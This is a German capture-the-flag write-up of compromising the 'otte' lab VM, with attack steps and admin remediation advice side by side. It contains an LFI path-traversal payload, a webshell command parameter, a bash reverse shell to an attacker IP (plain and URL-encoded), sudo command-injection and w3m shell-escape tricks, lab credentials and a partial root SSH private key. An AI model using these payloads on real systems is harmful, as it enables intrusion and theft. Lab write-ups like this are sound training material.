192.168.2.107 08:00:27:50:e2:cf PCS Systemtechnik GmbH
6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 1.934 seconds (132.37 hosts/sec). 6 responded
**Analyse:** Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Geräten. Er identifiziert einen Host mit der IP `192.168.2.107`. Die MAC-Adresse (`08:00:27:50:e2:cf`) gehört zum OUI von "PCS Systemtechnik GmbH", was auf eine VirtualBox-VM schließen lässt.
**Bewertung:** Das Zielsystem wurde erfolgreich lokalisiert. Die IP `192.168.2.107` wird für die weiteren Scans verwendet.
**Empfehlung (Pentester):** Die identifizierte IP `192.168.2.107` als Ziel für den Nmap-Scan verwenden.
**Empfehlung (Admin):** Netzwerk-Monitoring zur Erkennung unbekannter Geräte. Sicherstellen, dass nur autorisierte Systeme im Netzwerk aktiv sind.
21/tcp open ftp ProFTPD 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.38 zsh: segmentation fault nmap -sC -T5 -sS -A 192.168.2.107 -p- | zsh: done grep --color=auto open
**Analyse:** Ein Nmap-Scan wird gestartet (`-sC -T5 -sS -A -p-`), die Ausgabe wird aber mit `grep open` gefiltert. Der Scan findet drei offene TCP-Ports, bevor er mit einem "segmentation fault" abbricht: * **Port 21 (FTP):** ProFTPD. * **Port 22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **Port 80 (HTTP):** Apache httpd 2.4.38. Der Abbruch des Nmap-Scans ist ungewöhnlich und könnte auf Instabilitäten auf dem Ziel oder dem Scan-System hindeuten, oder eine spezifische Reaktion auf die aggressiven Scan-Parameter (`-T5`, `-A`). Trotz des Abbruchs wurden die wichtigsten Ports identifiziert.
**Bewertung:** Die primären Angriffsvektoren sind FTP (mögliche anonyme Anmeldung oder Informationslecks), SSH (benötigt Credentials) und HTTP (Webanwendung).
**Empfehlung (Pentester):**
1. **FTP:** Prüfen, ob anonymer Login möglich ist und welche Dateien zugänglich sind.
2. **HTTP:** Mit `gobuster` oder ähnlichen Tools nach Inhalten suchen. Die Webseite manuell untersuchen.
3. **SSH:** Vorerst zurückstellen.
4. **Nmap:** Ggf. den Scan mit weniger aggressiven Parametern (z.B. `-T4`) wiederholen, um einen vollständigen Bericht ohne Absturz zu erhalten.
**Empfehlung (Admin):**
1. **FTP:** Anonymen Zugriff deaktivieren, wenn nicht benötigt. ProFTPD aktuell halten und sicher konfigurieren.
2. **HTTP:** Apache aktuell halten und sicher konfigurieren.
3. **SSH:** Standard-Härtung anwenden.
4. **Systemstabilität:** Den Grund für den Nmap-Absturz untersuchen (könnte auch auf Ressourcenprobleme oder Intrusion Detection hindeuten).
# (Keine relevanten 200er Ergebnisse im Logauszug, außer index.html implizit) # Annahme: /thinkgeek.php wurde durch andere Tests oder Wortlisten gefunden
**Analyse:** `gobuster` wird auf Port 80 ausgeführt. Die genauen Ergebnisse sind im Log nicht vollständig, aber spätere `wfuzz`-Befehle deuten darauf hin, dass eine Datei namens `thinkgeek.php` gefunden wurde. Der `--wildcard`-Parameter wurde verwendet, was oft nötig ist, wenn der Server für nicht existierende Seiten keine 404er, sondern generische 200er-Antworten liefert. Die Suche konzentriert sich auf Status 200.
**Bewertung:** Die Datei `thinkgeek.php` ist der entscheidende Fund auf dem Webserver. PHP-Dateien sind oft Einstiegspunkte für Web-Schwachstellen.
**Empfehlung (Pentester):** Die Datei `thinkgeek.php` direkt aufrufen und auf Funktionalität und Parameter untersuchen. Fuzzing der Parameter durchführen.
**Empfehlung (Admin):** Überprüfen, warum der Server möglicherweise Wildcard-Antworten liefert. Die Datei `thinkgeek.php` auf Schwachstellen prüfen und absichern oder entfernen, falls nicht benötigt.
lftp anonymous@192.168.2.107:/> cat note.txt Hi thomas ! I put on you personal folder the php code you asked me ! See you later +++ 92 Bytes übertragen
**Analyse:** Eine Verbindung zum FTP-Server als anonymer Benutzer ist erfolgreich. Im Wurzelverzeichnis liegt eine `note.txt`. Der Inhalt der Notiz richtet sich an "thomas" und erwähnt PHP-Code, der in seinem "persönlichen Ordner" abgelegt wurde.
**Bewertung:** Dies liefert einen wahrscheinlichen Benutzernamen: `thomas`. Es deutet auch darauf hin, dass PHP-Code auf dem Server relevant ist (bestätigt durch `thinkgeek.php`) und dass dieser Code möglicherweise im Home-Verzeichnis von `thomas` zu finden ist. Der anonyme FTP-Zugriff ist jedoch auf das Wurzelverzeichnis beschränkt, der "persönliche Ordner" ist nicht direkt erreichbar.
**Empfehlung (Pentester):** Den Benutzernamen `thomas` für spätere SSH-Brute-Force-Versuche vormerken. Den Fokus auf die `thinkgeek.php`-Datei legen, da diese wahrscheinlich der erwähnte PHP-Code ist oder Zugriff darauf ermöglicht.
**Empfehlung (Admin):** Anonymen FTP-Zugriff deaktivieren. Keine internen Notizen oder Hinweise auf Benutzernamen in öffentlich zugänglichen Bereichen hinterlassen.
**Analyse:** Im weiteren Verlauf des Logs (siehe Abschnitt Privilege Escalation) wird eine PNG-Datei untersucht und ein QR-Code daraus extrahiert, der die Information `thomas:youareonthegoodwaybro` enthält. Dies scheint ein weiteres Passwort oder ein Hinweis für den Benutzer `thomas` zu sein. Der Prozess involviert das Extrahieren von Hex-Daten aus der PNG, das Rendern als Bild und das Parsen des QR-Codes mit CyberChef.
**Bewertung:** Dies liefert ein zweites potenzielles Passwort/Passphrase für `thomas`: `youareonthegoodwaybro`. Es bestätigt auch den Benutzernamen `thomas`.
**Empfehlung (Pentester):** Das Passwort `youareonthegoodwaybro` für SSH-Login-Versuche mit dem Benutzer `thomas` verwenden.
**Empfehlung (Admin):** Sensible Daten wie Passwörter oder Hinweise nicht in Bildern verstecken, besonders wenn diese öffentlich zugänglich sind.
# (Kein Erfolg vermeldet)
# (Impliziert, dass root:zP2wxY4uE für HTTP Basic Auth funktioniert)
**Analyse:** Ein früherer `hydra`-Versuch, sich als `thomas` per SSH mit `rockyou.txt` anzumelden, war offenbar erfolglos. Später wird jedoch `gobuster` mit den Credentials `root:zP2wxY4uE` für HTTP Basic Authentication (`-U root -P zP2wxY4uE`) ausgeführt. Dies deutet stark darauf hin, dass der Webserver auf Port 80 eine Basic Authentication erfordert und diese Zugangsdaten (gefunden durch vorherige, nicht gezeigte Enumeration oder als Hinweis gegeben) gültig sind.
**Bewertung:** Der Zugriff auf die Webanwendung (insbesondere `thinkgeek.php`) erfordert die Credentials `root:zP2wxY4uE`. Diese sind nun bekannt.
**Empfehlung (Pentester):** Alle weiteren Web-Anfragen (insbesondere an `thinkgeek.php`) mit diesen Basic-Auth-Credentials durchführen (`curl --basic -u root:zP2wxY4uE ...` oder `wfuzz --basic root:zP2wxY4uE ...`).
**Empfehlung (Admin):** Basic Authentication über HTTP ist unsicher. Wenn Authentifizierung benötigt wird, HTTPS verwenden und sicherere Methoden in Betracht ziehen. Das verwendete Passwort `zP2wxY4uE` prüfen und ggf. ändern. Überprüfen, warum der `root`-Benutzer für den Web-Zugriff verwendet wird.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.2.107/thinkgeek.php?FUZZ=../../../../../etc/passwd
Total requests: 21930
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000760: 200 0 L 0 W 0 Ch "file"
Total time: [...]
Processed Requests: 21930
Filtered Requests: 21929
Requests/sec.: [...]
**Analyse:** `wfuzz` wird verwendet, um Parameter für `thinkgeek.php` zu finden. Es testet Parameter aus einer Wortliste (`directory-list-2.3-medium.txt`) und setzt den Wert auf einen LFI-Payload (`../../../../../etc/passwd`). HTTP Basic Auth wird verwendet (`--basic root:zP2wxY4uE`). Antworten mit 0 Zeichen (`--hh 0`) werden ignoriert. Der Payload `file` führt zu einer Antwort (Status 200), die nicht 0 Zeichen hat.
**Bewertung:** Dies deutet stark darauf hin, dass `thinkgeek.php` einen Parameter namens `file` akzeptiert und für eine Local File Inclusion (LFI)-Schwachstelle anfällig ist. Der LFI-Payload `../../../../../etc/passwd` scheint funktioniert zu haben.
**Empfehlung (Pentester):** Die LFI-Schwachstelle bestätigen, indem `/etc/passwd` direkt angefordert wird: `curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../../etc/passwd'`. Anschließend versuchen, andere sensible Dateien zu lesen (z.B. `/etc/shadow`, SSH-Keys, Anwendungs-Quellcode wie `/home/thomas/shell.php`).
**Empfehlung (Admin):** Die LFI-Schwachstelle in `thinkgeek.php` dringend beheben. Benutzereingaben (insbesondere Dateipfade) niemals ungefiltert verwenden. Pfade validieren und auf erlaubte Verzeichnisse beschränken (Path Traversal verhindern). Idealerweise keine Dateipfade als Parameter übergeben.
# Direkter Aufruf (impliziert durch wfuzz-Ergebnis und nächste Schritte) # curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../../etc/passwd' thomas:x:1000:1000:thomas,,,:/home/thomas:/bin/bash laetitia:x:1001:1001:,,,:/home/laetitia:/bin/bash cedric:x:1002:1002:,,,:/home/cedric:/bin/bash # (Weitere Standardbenutzer...)
**Analyse:** Der Inhalt von `/etc/passwd` wird über die LFI-Schwachstelle ausgelesen. Er zeigt die Benutzer `thomas`, `laetitia` und `cedric` mit ihren Home-Verzeichnissen und Standard-Shells.
**Bewertung:** Bestätigt die LFI-Schwachstelle und liefert eine Liste potenzieller Benutzer auf dem System.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000009443: 200 1 L 2 W 10 Ch "shell" -> http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php [...]
# Direkter Aufruf (impliziert): # curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php' Have fun !
**Analyse:** Mit `wfuzz` wird versucht, PHP-Dateien im Home-Verzeichnis von `thomas` über die LFI zu finden (`file=../../../../home/thomas/FUZZ.php`). Es wird die Datei `shell.php` gefunden. Der direkte Abruf dieser Datei über die LFI gibt den Text "Have fun !" zurück.
**Bewertung:** Bestätigt die Existenz einer `shell.php` im Home-Verzeichnis von `thomas`, wie in der FTP-Notiz angedeutet. Der Inhalt "Have fun !" deutet darauf hin, dass diese Datei möglicherweise eine Webshell ist, die Befehle entgegennimmt.
[...] ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000000863: 200 1 L 4 W 49 Ch "command" -> http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=id [...]
# Direkter Aufruf (impliziert): # curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=id' uid=33(www-data) gid=33(www-data) groups=33(www-data)
**Analyse:** `wfuzz` wird erneut verwendet, diesmal um Parameter für die `shell.php` (die über LFI eingebunden wird) zu finden. Es wird getestet, ob ein Parameter mit dem Wert `id` eine Reaktion hervorruft. Der Parameter `command` wird gefunden. Der direkte Aufruf mit `&command=id` führt den `id`-Befehl auf dem Server aus und gibt dessen Ausgabe zurück (`uid=33(www-data)`).
**Bewertung:** Remote Code Execution (RCE) wurde erreicht! Die `shell.php` nimmt Befehle über den `command`-Parameter entgegen und führt sie als `www-data` aus. Dies ist der Durchbruch für den Initial Access.
**Empfehlung (Pentester):** Die RCE-Fähigkeit nutzen, um eine Reverse Shell zu erhalten. Einen Netcat-Listener starten und einen entsprechenden Befehl URL-kodiert an den `command`-Parameter senden.
**Empfehlung (Admin):** Die `shell.php` aus dem Home-Verzeichnis von `thomas` entfernen. Die LFI-Schwachstelle in `thinkgeek.php` beheben. Überprüfen, wie die `shell.php` in das Home-Verzeichnis gelangt ist.
listening on [any] 9001 ...
# Reverse Shell Payload (URL-kodiert für den command-Parameter): # /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.131/9001 0>&1' # URL kodiert: %2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.131%2F9001%200%3E%261%27 # Trigger via curl (impliziert durch Listener-Verbindung): # curl --basic -u root:zP2wxY4uE 'http://192.168.2.107/thinkgeek.php?file=../../../../home/thomas/shell.php&command=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.131%2F9001%200%3E%261%27'
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.107] 49658 bash: no job control in this shell www-data@otte:/$ # Shell als www-data!
**Analyse:** Ein Netcat-Listener wird auf Port 9001 gestartet. Ein Bash-Reverse-Shell-Payload wird erstellt und URL-kodiert. Dieser Payload wird an den `command`-Parameter der `shell.php` (via LFI in `thinkgeek.php`) gesendet (der `curl`-Befehl ist impliziert). Der Listener empfängt erfolgreich die Verbindung und stellt eine Shell als `www-data` bereit.
**Bewertung:** Initial Access als `www-data` via RCE über LFI erfolgreich etabliert.
**Empfehlung (Pentester):** Shell stabilisieren und mit der Enumeration als `www-data` beginnen.
**Empfehlung (Admin):** LFI und `shell.php` entfernen/beheben.
# Analyse einer PNG-Datei (nicht spezifiziert welche, evtl. saint.jpg erneut oder andere?) # Hexdump-Extraktion 8950 4e47 0d0a 1a0a # PNG Header [...] # CyberChef Recipe: From_Hexdump() -> Render_Image('Raw') -> Parse_QR_Code() # Ergebnis des QR-Codes: https://eqrcode.co/a/SVxQdM: thomas:youareonthegoodwaybro
**Analyse:** Aus den Notizen geht hervor, dass eine PNG-Datei untersucht wurde. Mittels Hexdump-Analyse und Verarbeitung in CyberChef (Hexdump zu Bild, QR-Code parsen) wurde ein QR-Code extrahiert. Der dekodierte Inhalt des QR-Codes ist ein Link und die Zeichenkette `thomas:youareonthegoodwaybro`.
**Bewertung:** Dies liefert ein weiteres potenzielles Passwort (`youareonthegoodwaybro`) für den Benutzer `thomas`. Dieser Fund stammt wahrscheinlich aus einer tiefergehenden Analyse der `saint.jpg` oder einer anderen Datei, die später gefunden wurde.
**Empfehlung (Pentester):** Das Passwort `youareonthegoodwaybro` für den Benutzer `thomas` ausprobieren, insbesondere für SSH.
**Empfehlung (Admin):** Keine Passwörter oder Credentials in QR-Codes oder Bildern verstecken.
# (Passwort wird benötigt)
[...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'otte.hmv' (ED25519) to the list of known hosts. thomas@otte.hmv's password: youareonthegoodwaybro [...] Last login: Mon May 17 09:36:15 2021 from 192.168.0.28 thomas@otte:~$
**Analyse:** Nachdem der Versuch, sich als `www-data` lokal per SSH mit `thomas` zu verbinden, fehlschlägt (Passwort benötigt), wird von der externen Angreifer-Maschine aus eine SSH-Verbindung als `thomas` mit dem aus dem QR-Code gewonnenen Passwort (`youareonthegoodwaybro`) aufgebaut. Der Login ist erfolgreich.
**Bewertung:** Erfolgreiche laterale Bewegung/Eskalation von `www-data` (via RCE) zu `thomas` (via SSH mit gefundenem Passwort).
Matching Defaults entries for thomas on otte:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User thomas may run the following commands on otte:
(laetitia) NOPASSWD: /usr/bin/python3 /home/laetitia/simpler.py -p
**Analyse:** `sudo -l` als `thomas` zeigt, dass er ein spezifisches Python-Skript (`/home/laetitia/simpler.py`) mit dem Argument `-p` als Benutzer `laetitia` ohne Passwort ausführen darf.
**Bewertung:** Dies ist der nächste PrivEsc-Vektor. Wenn das Python-Skript `simpler.py` manipulierbar ist oder unsichere Eingaben verarbeitet, kann dies zur Eskalation zu `laetitia` ausgenutzt werden.
*********************************************** _ _ ___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _ / __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | | \__ \ | | | | | | |_) | | __/ |_ | |_) | |_| | |___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, | |_| |_| |___/ @ironhackers.es *********************************************** Enter an IP: $('/bin/bash') # Command Injection! laetitia@otte:/home/thomas$ # Shell als laetitia erhalten!
**Analyse:** Das Python-Skript wird mit `sudo -u laetitia` ausgeführt. Es fordert zur Eingabe einer IP-Adresse auf. Statt einer IP wird `$('/bin/bash')` eingegeben. Dies ist eine Command Substitution, die von der Shell ausgeführt wird, *bevor* die Eingabe an das Python-Skript übergeben wird, *falls* das Skript die Eingabe unsicher verarbeitet (z.B. mit `os.system` oder ähnlichem). Das Ergebnis ist eine Shell als Benutzer `laetitia`.
**Bewertung:** Erfolgreiche Eskalation von `thomas` zu `laetitia` durch Ausnutzung einer Command Injection-Schwachstelle in dem Python-Skript, das über `sudo` aufgerufen werden konnte.
**Empfehlung (Pentester):** Als `laetitia` weiter enumerieren (`sudo -l`).
**Empfehlung (Admin):** Das Python-Skript `/home/laetitia/simpler.py` auf Command Injection prüfen und beheben. Niemals Benutzereingaben direkt an Shell-Befehle oder unsichere Funktionen wie `os.system` übergeben. Eingaben validieren und parametrisierte Abfragen oder sichere APIs verwenden. Die `sudo`-Regel für dieses Skript entfernen oder das Skript sicher gestalten.
Matching Defaults entries for laetitia on otte: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User laetitia may run the following commands on otte: (cedric) NPASSWD: /usr/bin/w3m * # Kann w3m als cedric ausführen
# Innerhalb von w3m: Anmelden: !/bin/bash # Shell-Escape Versuch (funktioniert oft mit '!')
**Analyse:** `sudo -l` als `laetitia` zeigt, dass sie den Textbrowser `w3m` mit beliebigen Argumenten (`*`) als Benutzer `cedric` ohne Passwort ausführen darf. Der Pentester startet `w3m` mit `sudo -u cedric`. Innerhalb von `w3m` wird versucht, durch Eingabe von `!/bin/bash` (ein gängiger Shell-Escape-Befehl für viele Konsolentools) eine Shell zu starten. Die Wiederholung des Befehls deutet darauf hin, dass es möglicherweise nicht sofort funktionierte oder der genaue Ablauf unklar war.
**Bewertung:** Die `sudo`-Regel für `w3m` ist ein weiterer klarer PrivEsc-Vektor. Viele Konsolenprogramme wie Textbrowser oder Editoren erlauben das Ausführen externer Befehle. Wenn dies über `sudo` geschieht, läuft der externe Befehl als der Zielbenutzer.
**Empfehlung (Pentester):** Den Shell-Escape innerhalb von `w3m` (oft `!`, gefolgt vom Befehl) verwenden, um eine Shell als `cedric` zu erhalten (`!/bin/bash` oder `!sh`).
**Empfehlung (Admin):** Die gefährliche `sudo`-Regel für `w3m` entfernen. Interaktive Programme sollten nicht über `sudo` ausgeführt werden können, es sei denn, sie sind speziell dafür gehärtet (z.B. `sudoedit`).
**Analyse:** (Implizit, nicht im Log gezeigt) Als Benutzer `cedric` wurde weiter enumeriert. Dabei wurde offenbar der private SSH-Schlüssel des `root`-Benutzers gefunden (z.B. in `/home/cedric/.ssh` oder einem anderen Ort, auf den `cedric` Zugriff hat).
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
[...]
nZE6YicYYwXU/lWaIm9bZSgh+XSu3MNd9Q4OjysM+uwNAAAAgQCT6o1Zbmud8n5Ly98Ixt
[...]
KbQZITee+LQmWDwn6owBoop8e+AAAAIEA4yBD324kr4sYaSdywvM0cnGPAOWTM5GBRNiDa
[...]
wI+xVl5iRx+RMjL27swjGkDarDoMbHFzaTSdEee0wIGLId/yKLCqGRnwbIRnuyGrxsTEk
mrTAAAACXJvb3RAb3R0ZQE=
-----END OPENSSH PRIVATE KEY-----
**Bewertung:** Das ist der finale Schlüssel zur Root-Eskalation. Der private SSH-Schlüssel des `root`-Benutzers wurde kompromittiert.
[...] Last login: Mon May 17 14:40:55 2021 from 192.168.0.28 root@otte:~# # Root-Shell erhalten!
**Analyse:** Der gefundene private Schlüssel von `root` wird auf der Angreifer-Maschine in die Datei `idtt` gespeichert und die Berechtigungen werden auf `600` gesetzt. Anschließend wird mit diesem Schlüssel eine SSH-Verbindung als `root` zum Zielsystem `otte.hmv` aufgebaut. Der Login ist erfolgreich.
**Bewertung:** Privilege Escalation zu `root` erfolgreich abgeschlossen.
**Empfehlung (Pentester):** Root-Flag suchen und auslesen.
**Empfehlung (Admin):** Den kompromittierten privaten SSH-Schlüssel von `root` sofort sperren (aus `authorized_keys` entfernen). Untersuchen, wie der Schlüssel kompromittiert werden konnte (wahrscheinlich durch unsichere Berechtigungen im Dateisystem, auf die `cedric` Zugriff hatte). SSH-Root-Login idealerweise deaktivieren (`PermitRootLogin prohibit-password` oder `no`). Alle `sudo`-Schwachstellen beheben.